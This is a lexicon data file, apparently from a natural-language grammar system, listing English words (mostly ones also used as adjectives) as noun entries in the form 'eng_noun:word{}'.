eng_noun:alar{}, eng_noun:neo - nazi{}, eng_noun:descendant{}, eng_noun:bygone{}, eng_noun:joint{}, eng_noun:passional{}, eng_noun:level{}, eng_noun:representative{}, eng_noun:Romaic{}, eng_noun:limit{}, eng_noun:trick{}, eng_noun:model{}, eng_noun:jazeraint{}, eng_noun:inchoate{}, eng_noun:phonetic{}, eng_noun:inchoactive{}, eng_noun:principal{}, eng_noun:tributary{}, eng_noun:pygmy{}, eng_noun:ribald{}, eng_noun:delivery{}, eng_noun:superior{}, eng_noun:lateral{}, eng_noun:reverse{}, eng_noun:endemic{}, eng_noun:cormorant{}, eng_noun:myopic{}, eng_noun:privy{}, eng_noun:verbatim{}, eng_noun:piggy{}, eng_noun:slinky{}, eng_noun:wizard{}, eng_noun:cocktail{}, eng_noun:cacuminal{}, eng_noun:blind{}, eng_noun:contrary{}, eng_noun:Novocastrian{}, eng_noun:limey{}, eng_noun:parvenu{}, eng_noun:Syracusan{}, eng_noun:ruddy{}, eng_noun:frail{}, eng_noun:bawd{}, eng_noun:borax{}, eng_noun:marcel{}, eng_noun:solute{}, eng_noun:swank{}, eng_noun:strait{}, eng_noun:botanical{}, eng_noun:cavalier{}, eng_noun:customary{}, eng_noun:devout{}, eng_noun:discount{}, eng_noun:disquiet{}, eng_noun:dominant{}, eng_noun:eleemosynary{}, eng_noun:equivocal{}, eng_noun:Erse{}, eng_noun:faint{}, eng_noun:farewell{}, eng_noun:feint{}, eng_noun:fellow{}, eng_noun:flirt{}, eng_noun:Fuegian{}, eng_noun:grand{}, eng_noun:hircine{}, eng_noun:hortatory{}, eng_noun:invective{}, eng_noun:mellow{}, eng_noun:migrant{}, eng_noun:ophidian{}, eng_noun:oyster{}, eng_noun:patrician{}, eng_noun:priority{}, eng_noun:prophylactic{}, eng_noun:sanguine{}, eng_noun:secondary{}, eng_noun:slight{}, eng_noun:snide{}, eng_noun:statistic{}, eng_noun:stray{}, eng_noun:moderate{}, eng_noun:teak{}, eng_noun:unlikely{}, eng_noun:whirlwind{}, eng_noun:formal{}, eng_noun:gimcrack{}, eng_noun:worthy{}, eng_noun:offside{}, eng_noun:auricular{}, eng_noun:reciprocal{}, eng_noun:phoney{}, eng_noun:desmoid{}, eng_noun:motel{}, eng_noun:Francophile{}, eng_noun:hyaline{}, eng_noun:Oregonian{}, eng_noun:offensive{}, eng_noun:larghetto{}, eng_noun:butch{}, eng_noun:tardy{}, eng_noun:Babylonian{}, eng_noun:miniature{}, eng_noun:adenoid{}, eng_noun:mammoth{}, eng_noun:diacritic{}, eng_noun:theatrical{}, eng_noun:mid - february{}, eng_noun:mid - june{}, eng_noun:mid - august{}, eng_noun:mid - fall{}, eng_noun:jean{}, eng_noun:sectarian{}, eng_noun:diabolic{}, eng_noun:progressive{}, eng_noun:tellurian{}, eng_noun:afferent{}, eng_noun:neutral{}, eng_noun:prompt{}, eng_noun:churchy{}, eng_noun:mammary{}, eng_noun:interim{}, eng_noun:Lesvonian{}, eng_noun:orderly{}, eng_noun:hood{}, eng_noun:googlish{}, eng_noun:nontrinitarian{}, eng_noun:cordial{}, eng_noun:asbestos{}, eng_noun:audible{}, eng_noun:tickle{}, eng_noun:kindred{}, eng_noun:Oliver{}, eng_noun:plus{}, eng_noun:Filipino{}, eng_noun:spiffy{}, eng_noun:organic{}, eng_noun:concave{}, eng_noun:repellent{}, eng_noun:embonpoint{}, eng_noun:precision{}, eng_noun:appositive{}, eng_noun:Chaldean{}, eng_noun:cetacean{}, eng_noun:sturdy{}, eng_noun:oriental{}, eng_noun:Balinese{}, eng_noun:instructive{}, eng_noun:itinerant{}, eng_noun:solo{}, eng_noun:familiar{}, eng_noun:narcotic{}, eng_noun:Walloon{}, eng_noun:capacity{}, eng_noun:pommie{}, eng_noun:daffodil{}, eng_noun:redeye{}, eng_noun:oval{}, eng_noun:geranium{}, eng_noun:custom{}, eng_noun:inland{}, eng_noun:excess{}, eng_noun:tinsel{}, eng_noun:canonical{}, eng_noun:oblong{}, eng_noun:commuter{}, eng_noun:agnate{}, eng_noun:cosmetic{}, eng_noun:moribund{}, eng_noun:preantepenultimate{}, eng_noun:mutant{}, eng_noun:faithful{}, eng_noun:catholic{}, eng_noun:exempt{}, eng_noun:traunch{}, eng_noun:plebeian{}, eng_noun:casual{}, eng_noun:suspect{}, eng_noun:alveolar{}, eng_noun:nonconformist{}, eng_noun:opiate{}, eng_noun:assistant{}, eng_noun:favourite{}, eng_noun:aerosol{}, eng_noun:autograph{}, eng_noun:hopeful{}, eng_noun:aphrodisiac{}, eng_noun:isometric{}, eng_noun:heliotrope{}, eng_noun:cynic{}, eng_noun:aero{}, eng_noun:flit{}, eng_noun:anti{}, eng_noun:sensitive{}, eng_noun:minus{}, eng_noun:septuagenarian{}, eng_noun:termagant{}, eng_noun:Etruscan{}, eng_noun:mimic{}, eng_noun:castaway{}, eng_noun:polycyclic{}, eng_noun:bicyclic{}, eng_noun:periodical{}, eng_noun:initial{}, eng_noun:antipodean{}, eng_noun:roundabout{}, eng_noun:comedogenic{}, eng_noun:psychic{}, eng_noun:frizzy{}, eng_noun:Andean{}, eng_noun:mutton{}, eng_noun:shortwave{}, eng_noun:illiterate{}, eng_noun:eugeroic{}, eng_noun:asthmatic{}, eng_noun:hominid{}, eng_noun:observable{}, eng_noun:observant{}, eng_noun:obverse{}, eng_noun:romantic{}, eng_noun:ultraconservative{}, eng_noun:ancillary{}, eng_noun:uggo{}, eng_noun:Caroline{}, eng_noun:diluent{}, eng_noun:deadpan{}, eng_noun:supernumerary{}, eng_noun:outboard{}, eng_noun:commonplace{}, eng_noun:knockdown{}, eng_noun:Yugoslav{}, eng_noun:nutrient{}, eng_noun:nymphomaniac{}, eng_noun:swarth{}, eng_noun:supine{}, eng_noun:solvent{}, eng_noun:blow - by - blow{}, eng_noun:extracurricular{}, eng_noun:westerly{}, eng_noun:woodland{}, eng_noun:memorial{}, eng_noun:likely{}, eng_noun:blow - up{}, eng_noun:blah{}, eng_noun:audio{}, eng_noun:wobbly{}, eng_noun:degenerate{}, eng_noun:desirable{}, eng_noun:workday{}, eng_noun:tribal{}, eng_noun:Elysium{}, eng_noun:jaded{}, eng_noun:doggy{}, eng_noun:upstage{}, eng_noun:Exoduster{}, eng_noun:Vatican{}, eng_noun:veteran{}, eng_noun:veterinary{}, eng_noun:virgate{}, eng_noun:immeasurable{}, eng_noun:flamboyant{}, eng_noun:quadragenarian{}, eng_noun:quintuplicate{}, eng_noun:ambient{}, eng_noun:Californian{}, eng_noun:haggard{}, eng_noun:umbilical{}, eng_noun:maudlin{}, eng_noun:unattractive{}, eng_noun:barefoot{}, eng_noun:dead - end{}, eng_noun:utilitarian{}, eng_noun:syllabic{}, eng_noun:preterite{}, eng_noun:bovine{}, eng_noun:polyzoan{}, eng_noun:shojo{}, eng_noun:bryozoan{}, eng_noun:italic{}, eng_noun:upstate{}, eng_noun:cleanup{}, eng_noun:petit{}, eng_noun:provincial{}, eng_noun:Malaysian{}, eng_noun:Freudian{}, eng_noun:Promethean{}, eng_noun:palmate{}, eng_noun:hairshirt{}, eng_noun:picky{}, eng_noun:upskirt{}, eng_noun:tandem{}, eng_noun:acrylic{}, eng_noun:wholemeal{}, eng_noun:adulterine{}, eng_noun:carotenoid{}, eng_noun:incognito{}, eng_noun:shoddy{}, eng_noun:knee - jerk{}, eng_noun:clumsy{}, eng_noun:noteworthy{}, eng_noun:transcendental{}, eng_noun:Finnophone{}, eng_noun:Russophone{}, eng_noun:Sinophone{}, eng_noun:Chewa{}, eng_noun:Manichaean{}, eng_noun:doggerel{}, eng_noun:Siamese{}, eng_noun:plantigrade{}, eng_noun:denialist{}, eng_noun:conscript{}, eng_noun:transitory{}, eng_noun:translative{}, eng_noun:brutalitarian{}, eng_noun:Eoarchean{}, eng_noun:Tonian{}, eng_noun:Holocene{}, eng_noun:Paleocene{}, eng_noun:unfortunate{}, eng_noun:antineoplastic{}, eng_noun:authoritarian{}, eng_noun:Laplacian{}, eng_noun:borderline{}, eng_noun:Eurasian{}, eng_noun:performant{}, eng_noun:multimedia{}, eng_noun:decadent{}, eng_noun:quinquagenarian{}, eng_noun:sibilant{}, eng_noun:topaz{}, eng_noun:claret{}, eng_noun:one - off{}, eng_noun:cinnabar{}, eng_noun:gainsboro{}, eng_noun:gunmetal - grey{}, eng_noun:brittle{}, eng_noun:vulnerary{}, eng_noun:hoar{}, eng_noun:postmodern{}, eng_noun:modernist{}, eng_noun:postmodernist{}, eng_noun:ethical{}, eng_noun:mazarine{}, eng_noun:pseudointellectual{}, eng_noun:pearly{}, eng_noun:preliminary{}, eng_noun:designer{}, eng_noun:penitentiary{}, eng_noun:hyoid{}, eng_noun:Attic{}, eng_noun:Ecuadorean{}, eng_noun:Ottoman{}, eng_noun:Renaissance{}, eng_noun:Salvadorean{}, eng_noun:Scorpion{}, eng_noun:Sicilian{}, eng_noun:Udmurt{}, eng_noun:Zen{}, eng_noun:boutique{}, eng_noun:cuneiform{}, eng_noun:champagne{}, eng_noun:hackney{}, eng_noun:capitate{}, eng_noun:ethmoid{}, eng_noun:interlocutory{}, eng_noun:unreliable{}, eng_noun:hereditary{}, eng_noun:wacko{}, eng_noun:turbinate{}, eng_noun:turbinal{}, eng_noun:mocha{}, eng_noun:feminist{}, eng_noun:easter{}, eng_noun:troglophile{}, eng_noun:ecru{}, eng_noun:piedmont{}, eng_noun:magnolia{}, eng_noun:head - on{}, eng_noun:Euro - sceptic{}, eng_noun:potty{}, eng_noun:nephritic{}, eng_noun:paratyphoid{}, eng_noun:doomsday{}, eng_noun:ocker{}, eng_noun:handheld{}, eng_noun:Shiite{}, eng_noun:Geraldine{}, eng_noun:quintuple{}, eng_noun:upland{}, eng_noun:ovoid{}, eng_noun:heavyweight{}, eng_noun:urticant{}, eng_noun:differential{}, eng_noun:guerrilla{}, eng_noun:literal{}, eng_noun:abhesive{}, eng_noun:semiautomatic{}, eng_noun:dink{}, eng_noun:tsarist{}, eng_noun:quantifiable{}, eng_noun:antidepressant{}, eng_noun:antimonarchist{}, eng_noun:dreadful{}, eng_noun:maxi{}, eng_noun:emphatic{}, eng_noun:anti - inflammatory{}, eng_noun:antimalarial{}, eng_noun:proletarian{}, eng_noun:Phoenician{}, eng_noun:Anglo - indian{}, eng_noun:teleost{}, eng_noun:parathyroid{}, eng_noun:smock{}, eng_noun:mockney{}, eng_noun:paraplegic{}, eng_noun:exquisite{}, eng_noun:flimsy{}, eng_noun:goofball{}, eng_noun:no - go{}, eng_noun:not - for - profit{}, eng_noun:colloid{}, eng_noun:proficient{}, eng_noun:intrusive{}, eng_noun:corkscrew{}, eng_noun:mattoid{}, eng_noun:shortie{}, eng_noun:ceremonial{}, eng_noun:germane{}, eng_noun:deviant{}, eng_noun:lunatic{}, eng_noun:tricolor{}, eng_noun:Hegelian{}, eng_noun:Calgarian{}, eng_noun:twilight{}, eng_noun:anticlerical{}, eng_noun:psychotic{}, eng_noun:jake{}, eng_noun:eligible{}, eng_noun:milquetoast{}, eng_noun:phocine{}, eng_noun:upbeat{}, eng_noun:aspic{}, eng_noun:Glagolitic{}, eng_noun:gewgaw{}, eng_noun:desktop{}, eng_noun:insomniac{}, eng_noun:incidental{}, eng_noun:dreary{}, eng_noun:aliped{}, eng_noun:prostrate{}, eng_noun:simoniac{}, eng_noun:alabaster{}, eng_noun:welter - weight{}, eng_noun:laggard{}, eng_noun:sophomore{}, eng_noun:bittersweet{}, eng_noun:westward{}, eng_noun:compassionate{}, eng_noun:bully{}, eng_noun:antirust{}, eng_noun:mammalian{}, eng_noun:paedo{}, eng_noun:antiterrorist{}, eng_noun:fantom{}, eng_noun:walk - off{}, eng_noun:scud{}, eng_noun:orthorexic{}, eng_noun:vermifuge{}, eng_noun:antispasmodic{}, eng_noun:benedictive{}, eng_noun:glossy{}, eng_noun:quinquennial{}, eng_noun:valetudinarian{}, eng_noun:nationalist{}, eng_noun:beserk{}, eng_noun:Thomist{}, eng_noun:ruderal{}, eng_noun:zygenid{}, eng_noun:gridelin{}, eng_noun:emergent{}, eng_noun:mezzanine{}, eng_noun:Nordic{}, eng_noun:traditionary{}, eng_noun:peripheral{}, eng_noun:egalitarian{}, eng_noun:thespian{}, eng_noun:Playboy{}, eng_noun:Lett{}, eng_noun:streetwise{}, eng_noun:tropic{}, eng_noun:bicuspid{}, eng_noun:pinpoint{}, eng_noun:chalybeate{}, eng_noun:delinquent{}, eng_noun:doctrinaire{}, eng_noun:peregrine{}, eng_noun:causal{}, eng_noun:hellion{}, eng_noun:octoploid{}, eng_noun:colly{}, eng_noun:backstage{}, eng_noun:centuple{}, eng_noun:metazoan{}, eng_noun:postgraduate{}, eng_noun:Visayan{}, eng_noun:all - in{}, eng_noun:second - rate{}, eng_noun:tandoori{}, eng_noun:perfective{}, eng_noun:preliterate{}, eng_noun:midair{}, eng_noun:confessional{}, eng_noun:Ionian{}, eng_noun:crypto{}, eng_noun:coelomate{}, eng_noun:comitative{}, eng_noun:Phrygian{}, eng_noun:aorist{}, eng_noun:Paralympian{}, eng_noun:unimpressive{}, eng_noun:futilitarian{}, eng_noun:operative{}, eng_noun:unfamiliar{}, eng_noun:conventual{}, eng_noun:modal{}, eng_noun:favorite{}, eng_noun:dusky{}, eng_noun:Mayan{}, eng_noun:third - rate{}, eng_noun:veggo{}, eng_noun:hereditarian{}, eng_noun:susceptible{}, eng_noun:nouveau{}, eng_noun:correspondent{}, eng_noun:bissextile{}, eng_noun:northward{}, eng_noun:expendable{}, eng_noun:experient{}, eng_noun:apocalyptic{}, eng_noun:clement{}, eng_noun:easterly{}, eng_noun:magistral{}, eng_noun:Choctaw{}, eng_noun:cometary{}, eng_noun:impracticable{}, eng_noun:alcaic{}, eng_noun:influent{}, eng_noun:unificationist{}, eng_noun:batrachian{}, eng_noun:cimmerian{}, eng_noun:digestive{}, eng_noun:unsuccessful{}, eng_noun:truant{}, eng_noun:Dacian{}, eng_noun:emollient{}, eng_noun:etesian{}, eng_noun:perishable{}, eng_noun:Newtonian{}, eng_noun:thermoplastic{}, eng_noun:thoroughbred{}, eng_noun:thunderstruck{}, eng_noun:Prussian{}, eng_noun:austral{}, eng_noun:eutherian{}, eng_noun:addolorato{}, eng_noun:touch - and - go{}, eng_noun:Unitarian{}, eng_noun:multinational{}, eng_noun:debit{}, eng_noun:montane{}, eng_noun:unproductive{}, eng_noun:irreconcilable{}, eng_noun:fractional{}, eng_noun:honorific{}, eng_noun:consequent{}, eng_noun:ultralight{}, eng_noun:scholastic{}, eng_noun:preppy{}, eng_noun:Hittite{}, eng_noun:dyspeptic{}, eng_noun:paperback{}, eng_noun:appellant{}, eng_noun:recombinant{}, eng_noun:sanitarian{}, eng_noun:Ossetic{}, eng_noun:surrealist{}, eng_noun:superplastic{}, eng_noun:copycat{}, eng_noun:fractal{}, eng_noun:naif{}, eng_noun:rheumatic{}, eng_noun:op - ed{}, eng_noun:litoral{}, eng_noun:laic{}, eng_noun:grownup{}, eng_noun:Quartodeciman{}, eng_noun:excelsior{}, eng_noun:prosthetic{}, eng_noun:schematic{}, eng_noun:prebendary{}, eng_noun:nonstop{}, eng_noun:caretaker{}, eng_noun:hatstand{}, eng_noun:seaside{}, eng_noun:matronymic{}, eng_noun:probiotic{}, eng_noun:Plutonian{}, eng_noun:monoclonal{}, eng_noun:Bostonian{}, eng_noun:fixative{}, eng_noun:arytenoid{}, eng_noun:hissy{}, eng_noun:cutthroat{}, eng_noun:predominant{}, eng_noun:teiid{}, eng_noun:quadrillionth{}, eng_noun:carotid{}, eng_noun:Lagrangian{}, eng_noun:dielectric{}, eng_noun:combustible{}, eng_noun:downstream{}, eng_noun:push - up{}, eng_noun:Berber{}, eng_noun:crapola{}, eng_noun:Geordie{}, eng_noun:Brummie{}, eng_noun:dotty{}, eng_noun:bendy{}, eng_noun:Aotearoan{}, eng_noun:Lusatian{}, eng_noun:dastard{}, eng_noun:assurgent{}, eng_noun:froggy{}, eng_noun:autistic{}, eng_noun:anorexic{}, eng_noun:cohortative{}, eng_noun:deist{}, eng_noun:polychrome{}, eng_noun:centauroid{}, eng_noun:metonymic{}, eng_noun:lenitive{}, eng_noun:vocable{}, eng_noun:bacchant{}, eng_noun:maladroit{}, eng_noun:Rastafarian{}, eng_noun:whist{}, eng_noun:homoiousian{}, eng_noun:polygastric{}, eng_noun:Discordian{}, eng_noun:chirpy{}, eng_noun:breakable{}, eng_noun:movable{}, eng_noun:immovable{}, eng_noun:unchangeable{}, eng_noun:guttural{}, eng_noun:southward{}, eng_noun:nonstandard{}, eng_noun:Theban{}, eng_noun:logistic{}, eng_noun:supertall{}, eng_noun:Maoist{}, eng_noun:prepollent{}, eng_noun:presbyterian{}, eng_noun:lowbrow{}, eng_noun:unquestionable{}, eng_noun:birdy{}, eng_noun:Canarian{}, eng_noun:heteroaromatic{}, eng_noun:abducent{}, eng_noun:jemmy{}, eng_noun:pandeist{}, eng_noun:fayre{}, eng_noun:scratch{}, eng_noun:dysthymic{}, eng_noun:chelicerate{}, eng_noun:organosilicon{}, eng_noun:tetraplicate{}, eng_noun:gamine{}, eng_noun:desiccant{}, eng_noun:irresponsible{}, eng_noun:singsong{}, eng_noun:southerly{}, eng_noun:Palauan{}, eng_noun:behavioralist{}, eng_noun:wormy{}, eng_noun:Carthusian{}, eng_noun:matrimonial{}, eng_noun:isolationist{}, eng_noun:blameless{}, eng_noun:imperforate{}, eng_noun:sing - song{}, eng_noun:Ngoni{}, eng_noun:Oscan{}, eng_noun:Melungeon{}, eng_noun:leathern{}, eng_noun:radge{}, eng_noun:aerospace{}, eng_noun:infralittoral{}, eng_noun:broon{}, eng_noun:tricenarian{}, eng_noun:constabulary{}, eng_noun:piezoelectric{}, eng_noun:fortean{}, eng_noun:mariachi{}, eng_noun:clarion{}, eng_noun:narcoleptic{}, eng_noun:stigmatic{}, eng_noun:recitative{}, eng_noun:braxy{}, eng_noun:deaf - mute{}, eng_noun:knee - high{}, eng_noun:shan{}, eng_noun:kiddy{}, eng_noun:adjoint{}, eng_noun:bombe{}, eng_noun:pre - op{}, eng_noun:punky{}, eng_noun:rough - and - tumble{}, eng_noun:stop - gap{}, eng_noun:egocentric{}, eng_noun:ergative{}, eng_noun:revivalist{}, eng_noun:mimetic{}, eng_noun:ducky{}, eng_noun:ebon{}, eng_noun:understage{}, eng_noun:somnifacient{}, eng_noun:inaugural{}, eng_noun:pulmonate{}, eng_noun:Moldovan{}, eng_noun:publique{}, eng_noun:run - on{}, eng_noun:denarian{}, eng_noun:sforzando{}, eng_noun:plebian{}, eng_noun:Windian{}, eng_noun:vendible{}, eng_noun:evangelical{}, eng_noun:poddy{}, eng_noun:uttermost{}, eng_noun:sparky{}, eng_noun:superordinate{}, eng_noun:pectinate{}, eng_noun:privative{}, eng_noun:Vegliot{}, eng_noun:accompagnato{}, eng_noun:Nilotic{}, eng_noun:superhuman{}, eng_noun:cast - iron{}, eng_noun:pose{}, eng_noun:quede{}, eng_noun:waxen{}, eng_noun:Iroquoian{}, eng_noun:curtal{}, eng_noun:stylistic{}, eng_noun:one - on - one{}, eng_noun:magique{}, eng_noun:deerskin{}, eng_noun:doeskin{}, eng_noun:frou - frou{}, eng_noun:duty - free{}, eng_noun:Nahua{}, eng_noun:polytechnic{}, eng_noun:proteid{}, eng_noun:dependable{}, eng_noun:ascendent{}, eng_noun:unpronounceable{}, eng_noun:geriatric{}, eng_noun:anticommunist{}, eng_noun:Austronesian{}, eng_noun:mesel{}, eng_noun:renewable{}, eng_noun:twisty{}, eng_noun:Quebecois{}, eng_noun:insensate{}, eng_noun:Comanche{}, eng_noun:crackerjack{}, eng_noun:Bielorussian{}, eng_noun:Moldovian{}, eng_noun:antipollution{}, eng_noun:appurtenant{}, eng_noun:dicky{}, eng_noun:ellipsoid{}, eng_noun:disposable{}, eng_noun:resale{}, eng_noun:devotional{}, eng_noun:unfruitful{}, eng_noun:microlaser{}, eng_noun:sacroiliac{}, eng_noun:Hibernian{}, eng_noun:eristic{}, eng_noun:expansionist{}, eng_noun:extempore{}, eng_noun:earthbound{}, eng_noun:eatable{}, eng_noun:fungoid{}, eng_noun:futurist{}, eng_noun:grown - up{}, eng_noun:bombproof{}, eng_noun:lapsarian{}, eng_noun:thigh - high{}, eng_noun:schizoid{}, eng_noun:nucleate{}, eng_noun:subsurface{}, eng_noun:smoggy{}, eng_noun:unwearable{}, eng_noun:suppliant{}, eng_noun:meridional{}, eng_noun:subwavelength{}, eng_noun:carnivoran{}, eng_noun:predicable{}, eng_noun:disyllabic{}, eng_noun:amygdalate{}, eng_noun:militarian{}, eng_noun:predicative{}, eng_noun:storybook{}, eng_noun:plainclothes{}, eng_noun:millenarian{}, eng_noun:deictic{}, eng_noun:dialup{}, eng_noun:spheroidal{}, eng_noun:Oxonian{}, eng_noun:terminative{}, eng_noun:ginny{}, eng_noun:indeterminant{}, eng_noun:nonprofit{}, eng_noun:historicist{}, eng_noun:streight{}, eng_noun:sextile{}, eng_noun:anticlinal{}, eng_noun:thermoelectric{}, eng_noun:jihadist{}, eng_noun:runtime{}, eng_noun:clericalist{}, eng_noun:coalescent{}, eng_noun:coalitionist{}, eng_noun:Javan{}, eng_noun:Okinawan{}, eng_noun:high - hat{}, eng_noun:determinative{}, eng_noun:redistributable{}, eng_noun:nacroleptic{}, eng_noun:stubby{}, eng_noun:frontpage{}, eng_noun:shorthorn{}, eng_noun:colonialist{}, eng_noun:come - hither{}, eng_noun:amenorrhoeic{}, eng_noun:nonzero{}, eng_noun:quadruplex{}, eng_noun:ringside{}, eng_noun:jannock{}, eng_noun:Tungusic{}, eng_noun:paraphilic{}, eng_noun:consumable{}, eng_noun:monoglot{}, eng_noun:corroborative{}, eng_noun:Orcadian{}, eng_noun:Shetlander{}, eng_noun:counteractive{}, eng_noun:Commie{}, eng_noun:placental{}, eng_noun:half - and - half{}, eng_noun:bluey{}, eng_noun:druggy{}, eng_noun:vigoroso{}, eng_noun:polyaromatic{}, eng_noun:paroxytone{}, eng_noun:polymorphonucleate{}, eng_noun:imparisyllabic{}, eng_noun:unmoral{}, eng_noun:brindle{}, eng_noun:suprasegmental{}, eng_noun:polypiarian{}, eng_noun:hydroid{}, eng_noun:preterm{}, eng_noun:tectiform{}, eng_noun:Lazarist{}, eng_noun:cytostatic{}, eng_noun:amygdaloid{}, eng_noun:flippy{}, eng_noun:Leonese{}, eng_noun:Valencian{}, eng_noun:acromegalic{}, eng_noun:Adelaidian{}, eng_noun:demoniac{}, eng_noun:tinhorn{}, eng_noun:chump - change{}, eng_noun:formalist{}, eng_noun:buffalo - skin{}, eng_noun:polyplacophoran{}, eng_noun:polygonial{}, eng_noun:actinopterygian{}, eng_noun:Edmontonian{}, eng_noun:broadleaf{}, eng_noun:aulic{}, eng_noun:equivoque{}, eng_noun:zetetic{}, eng_noun:Alabaman{}, eng_noun:coelurosaurian{}, eng_noun:hardcover{}, eng_noun:hortative{}, eng_noun:diaphoretic{}, eng_noun:intervarsity{}, eng_noun:primigravid{}, eng_noun:multistory{}, eng_noun:deflationary{}, eng_noun:determinable{}, eng_noun:drive - through{}, eng_noun:drop - in{}, eng_noun:luminal{}, eng_noun:make - up{}, eng_noun:pinchbeck{}, eng_noun:hardball{}, eng_noun:make - do{}, eng_noun:nonperishable{}, eng_noun:genethliac{}, eng_noun:tristate{}, eng_noun:alate{}, eng_noun:cut - off{}, eng_noun:Earthian{}, eng_noun:proinflammatory{}, eng_noun:reentrant{}, eng_noun:propellent{}, eng_noun:trimonthly{}, eng_noun:zig - zag{}, eng_noun:half - track{}, eng_noun:paraprofessional{}, eng_noun:praetorian{}, eng_noun:jackleg{}, eng_noun:sternutatory{}, eng_noun:ubersexual{}, eng_noun:precipitant{}, eng_noun:prekindergarten{}, eng_noun:monetarist{}, eng_noun:noneffective{}, eng_noun:measureless{}, eng_noun:immunosuppressive{}, eng_noun:multiform{}, eng_noun:multifamily{}, eng_noun:molluscan{}, eng_noun:emunctory{}, eng_noun:smoother{}, eng_noun:Antarctican{}, eng_noun:populist{}, eng_noun:neocolonialist{}, eng_noun:neutralist{}, eng_noun:butthurt{}, eng_noun:hit - and - run{}, eng_noun:trinomial{}, eng_noun:ofay{}, eng_noun:phasianid{}, eng_noun:intrant{}, eng_noun:alpinist{}, eng_noun:reconcilable{}, eng_noun:ceratopsid{}, eng_noun:underweight{}, eng_noun:melic{}, eng_noun:dyspraxic{}, eng_noun:protoctist{}, eng_noun:pseudocoelomate{}, eng_noun:pteropodine{}, eng_noun:Puebloan{}, eng_noun:adversative{}, eng_noun:returnable{}, eng_noun:dithyrambic{}, eng_noun:oppidan{}, eng_noun:equalitarian{}, eng_noun:downstyle{}, eng_noun:Biafran{}, eng_noun:organohalogen{}, eng_noun:organoiodine{}, eng_noun:crenate{}, eng_noun:Christofascist{}, eng_noun:footlong{}, eng_noun:tutelar{}, eng_noun:synchromesh{}, eng_noun:pentimal{}, eng_noun:replicant{}, eng_noun:non - human{}, eng_noun:squaloid{}, eng_noun:neopagan{}, eng_noun:Dakotan{}, eng_noun:nonexempt{}, eng_noun:Paphian{}, eng_noun:jerk - water{}, eng_noun:meristic{}, eng_noun:Galatian{}, eng_noun:paralysant{}, eng_noun:malglico{}, eng_noun:chelonian{}, eng_noun:nonnarcotic{}, eng_noun:nonobjective{}, eng_noun:benzenoid{}, eng_noun:nonreturnable{}, eng_noun:nonprofessional{}, eng_noun:nonofficial{}, eng_noun:nonresident{}, eng_noun:nonsympathizer{}, eng_noun:polynoid{}, eng_noun:Bozal{}, eng_noun:Darwinian{}, eng_noun:nematic{}, eng_noun:sociopathic{}, eng_noun:smectic{}, eng_noun:backstreet{}, eng_noun:processionary{}, eng_noun:Afghanistani{}, eng_noun:poikilotherm{}, eng_noun:gamomaniac{}, eng_noun:Franquist{}, eng_noun:Rhodesian{}, eng_noun:dement{}, eng_noun:unprovable{}, eng_noun:nitrenoid{}, eng_noun:Moravian{}, eng_noun:Gibraltarian{}, eng_noun:equipotential{}, eng_noun:salvationist{}, eng_noun:expiratory{}, eng_noun:Alabamian{}, eng_noun:ammonoid{}, eng_noun:aliquant{}, eng_noun:aphidian{}, eng_noun:eleutheromaniac{}, eng_noun:antifascist{}, eng_noun:amandine{}, eng_noun:versant{}, eng_noun:Kosovan{}, eng_noun:responsorial{}, eng_noun:for - profit{}, eng_noun:Patagonian{}, eng_noun:goony{}, eng_noun:buckshee{}, eng_noun:escharotic{}, eng_noun:technic{}, eng_noun:arsenical{}, eng_noun:corrigent{}, eng_noun:monoaromatic{}, eng_noun:organonitrogen{}, eng_noun:multiphase{}, eng_noun:ethoxy{}, eng_noun:aminoethoxy{}, eng_noun:asphyxiant{}, eng_noun:supramembrane{}, eng_noun:Titanian{}, eng_noun:Callistoan{}, eng_noun:corporatist{}, eng_noun:deere{}, eng_noun:sarmentose{}, eng_noun:Marist{}, eng_noun:nitroaryl{}, eng_noun:hexactine{}, eng_noun:embryoid{}, eng_noun:Japhetite{}, eng_noun:euploid{}, eng_noun:Lydian{}, eng_noun:inebriant{}, eng_noun:cholic{}, eng_noun:eutectoid{}, eng_noun:multivariate{}, eng_noun:natriuretic{}, eng_noun:nonmutant{}, eng_noun:multifunction{}, eng_noun:snotnose{}, eng_noun:exercitive{}, eng_noun:radiochemical{}, eng_noun:Jungian{}, eng_noun:Euroskeptic{}, eng_noun:querulent{}, eng_noun:Eutychian{}, eng_noun:Kurdistani{}, eng_noun:holo{}, eng_noun:Sienese{}, eng_noun:behabitive{}, eng_noun:commissive{}, eng_noun:Angevin{}, eng_noun:caudatan{}, eng_noun:dinocephalian{}, eng_noun:Rousseauian{}, eng_noun:Camunian{}, eng_noun:cooty{}, eng_noun:orthotic{}, eng_noun:antiscience{}, eng_noun:want - away{}, eng_noun:slimmer{}, eng_noun:semiliquid{}, eng_noun:renunciate{}, eng_noun:arval{}, eng_noun:tenuis{}, eng_noun:cameloid{}, eng_noun:multicast{}, eng_noun:Chaucerian{}, eng_noun:gradable{}, eng_noun:Kalmyk{}, eng_noun:brachycephalic{}, eng_noun:Mordovian{}, eng_noun:Tuvan{}, eng_noun:Buryatian{}, eng_noun:Kareli{}, eng_noun:Russki{}, eng_noun:polyschematist{}, eng_noun:polynemoid{}, eng_noun:lactoovovegetarian{}, eng_noun:tribrid{}, eng_noun:papish{}, eng_noun:megapod{}, eng_noun:audient{}, eng_noun:hemipteran{}, eng_noun:Judaean{}, eng_noun:Natufian{}, eng_noun:Philippian{}, eng_noun:mercantilist{}, eng_noun:sesquiquadrate{}, eng_noun:buffy{}, eng_noun:obscurant{}, eng_noun:immunotherapeutic{}, eng_noun:bracteate{}, eng_noun:Louisianan{}, eng_noun:jasperoid{}, eng_noun:paedophiliac{}, eng_noun:Xanthian{}, eng_noun:mirk{}, eng_noun:superpremium{}, eng_noun:Carolinian{}, eng_noun:Wyomingite{}, eng_noun:Delawarean{}, eng_noun:slapstickery{}, eng_noun:ultrarevolutionary{}, eng_noun:Technicolor{}, eng_noun:Cancerian{}, eng_noun:Geminian{}, eng_noun:Sammarinese{}, eng_noun:reconstructivist{}, eng_noun:postcanine{}, eng_noun:superexplosive{}, eng_noun:hymenopteran{}, eng_noun:lepidopteran{}, eng_noun:lucinid{}, eng_noun:Ithacan{}, eng_noun:pogonophoran{}, eng_noun:sepiolid{}, eng_noun:nutriceutical{}, eng_noun:butoh{}, eng_noun:cutover{}, eng_noun:chitty{}, eng_noun:semifluid{}, eng_noun:perciform{}, eng_noun:supermajor{}, eng_noun:Manichean{}, eng_noun:marly{}, eng_noun:mammaliaform{}, eng_noun:somnolytic{}, eng_noun:caridoid{}, eng_noun:mountant{}, eng_noun:one - piece{}, eng_noun:jugal{}, eng_noun:unlockable{}, 